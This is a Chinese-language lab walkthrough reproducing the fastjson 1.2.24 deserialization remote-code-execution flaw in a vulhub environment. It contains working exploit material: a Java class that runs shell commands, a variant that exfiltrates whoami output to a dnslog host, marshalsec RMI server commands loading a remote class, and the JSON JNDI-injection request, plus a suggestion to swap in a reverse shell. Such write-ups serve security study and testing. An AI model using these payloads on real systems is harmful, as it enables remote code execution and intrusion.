文章目录
坑点：
RMIRefServer和http服务都有收到请求，但是就是反弹不了shell，很有可能是本地编译.class的java版本问题，或者最好使用靶场推荐的版本。
漏洞名称：fastjson 反序列化导致任意命令执行漏洞
简介：
fastjson 阿里巴巴开发的一个JSON解析库，可以将 Java 对象转换为 JSON 格式，当然它也可以将 JSON 字符串转换为 Java 对象。
Fastjson 可以操作任何 Java 对象，即使是一些预先存在的没有源码的对象。
Fastjson 源码地址：https://github.com/alibaba/fastjson
Fastjson 中文 Wiki：https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
Fastjson RCE关键函数
DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理
TypeUtils. loadClass() 根据传入的类名，生成类的实例
JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。
ParserConfig. checkAutoType() 阿里后续添加的防护函数，用于在 loadclass 前检查传入的类是否合法。
影响范围
关于 fastjson 影响的版本以及范围，通过查阅大量的资料以及复现文章[大部分复现文章仅仅是为了复现而复现，简直是满满的槽点！这是人干的事儿？],最终在 Freebuf 找到了一篇 平安银行应用安全团队 于 2019年7月17发布的一篇 “浅谈Fastjson RCE漏洞的绕过史” 发现了一点眉目。有兴趣的话，可以去看一看。
可能会因为时间的关系，可能信息有些滞后。
漏洞原理
fastjson 在解析 json 的过程中，支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
漏洞复现
关于复现的问题,网上能查到的大部分复现文章。要么贴图、贴图、贴图…
要么就是直接复制粘贴 vulhub 官方的 payload,对待看不懂代码的同学来说不是那么的友好【虽然我也菜的抠脚看不懂】。
这里先说一下大致的复现思路。
在靶场环境准备好之后，需要做的就是攻击环境的准备。
1.本地要有 java 环境 [否则无法编译 payload ，生成可利用的 class 文件]
2.需要安装 maven 环境，并配置环境变量。
3.把编译好的class文件传到外网系统中。并在class文件所在的目录，使用python开启监听。
4.然后我们借助marshalsec项目，启动一个RMI服务器，监听9999端口，并制定加载远程类 "TouchFile.class"
详细的操作步骤见下文，同时B站也有关于该漏洞复现的详解视频。
环境准备
靶机环境 139.196.87.102 (vulhub)
攻击机环境 192.168.8.137 （虚拟机 Kali 2020.2 、Java1.8、Burp）
启动 fastjson 反序列化导致任意命令执行漏洞 环境
1.进入 vulhub 的 fastjson 反序列化导致任意命令执行漏洞 路径
cd /usr/local/tools/vulhub/fastjson/1.2.24-rce
2.编译并启动环境
docker-compose up -d
3.查看环境运行状态
docker ps | grep rce
访问 8090 端口
漏洞利用
首先 vulhub 给出的复现提示如下
因为目标环境是Java 8u102，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，
我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。
首先编译并上传命令执行代码，如http://evil.com/TouchFile.class：
编译 TouchFile.class 文件
这里就利用到了我们本地的 JAVA 环境，我们需要将下面的代码编译成一个 class 文件。
将下面的代码复制到一个文件，然后使用 javac 命令进行编译.
其中的 "touch", "/tmp/success" ,可以替换成自己的反弹shell或者其他命令执行语句，比如
String[] commands = {"/bin/sh","-c","ping user.`whoami`.38v2ib.dnslog.cn"};
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {
"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
这里有个小坑,创建的文件名需为 “TouchFile.java”,否则会出现如下报错。
下载配置 maven
参考 “踩坑 - Kali下安装配置maven，完美解决！”
使用 python 模拟开启本地服务器
python3 -m http.server 22222 --bind 192.168.0.101
使用 marshalsec 搭建一个RMI服务器，进行远程加载payload
git clone https://github.com/mbechler/marshalsec.git
下载完成后，进入 “marshalsec” 目录执行编译命令。
mvn clean package -DskipTests
当编译完成后，会在 “marshalsec” 路径下生成一个 “target” 目录，回生成 marshalsec-0.0.3-SNAPSHOT-all.jar 这样的一个jar包
执行命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101:22222/#TouchFile" 9999
此时访问我们的靶场，并开启 burp 进行抓包，然后构建我们的 payload
POST / HTTP/1.1
Host: 139.196.87.102:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.101:9999/TouchFile",
"autoCommit":true
}
}
这里仍然有个坑,那就是 上文我作为python模拟服务器的时候是搭建在本地的，在最后的数据包发送出去之后久久未收到响应，看来是失败了。但是借用朋友的VPS，在服务器上用 python 模拟服务器之后却成功了。【同样的坑，我踩了两次…还是再买一个 VPS 吧】
验证漏洞利用是否成功
进入容器, /tmp/ 路径下 success 文件创建成功
修复建议
更新至管网最新的版本或更新官方的补丁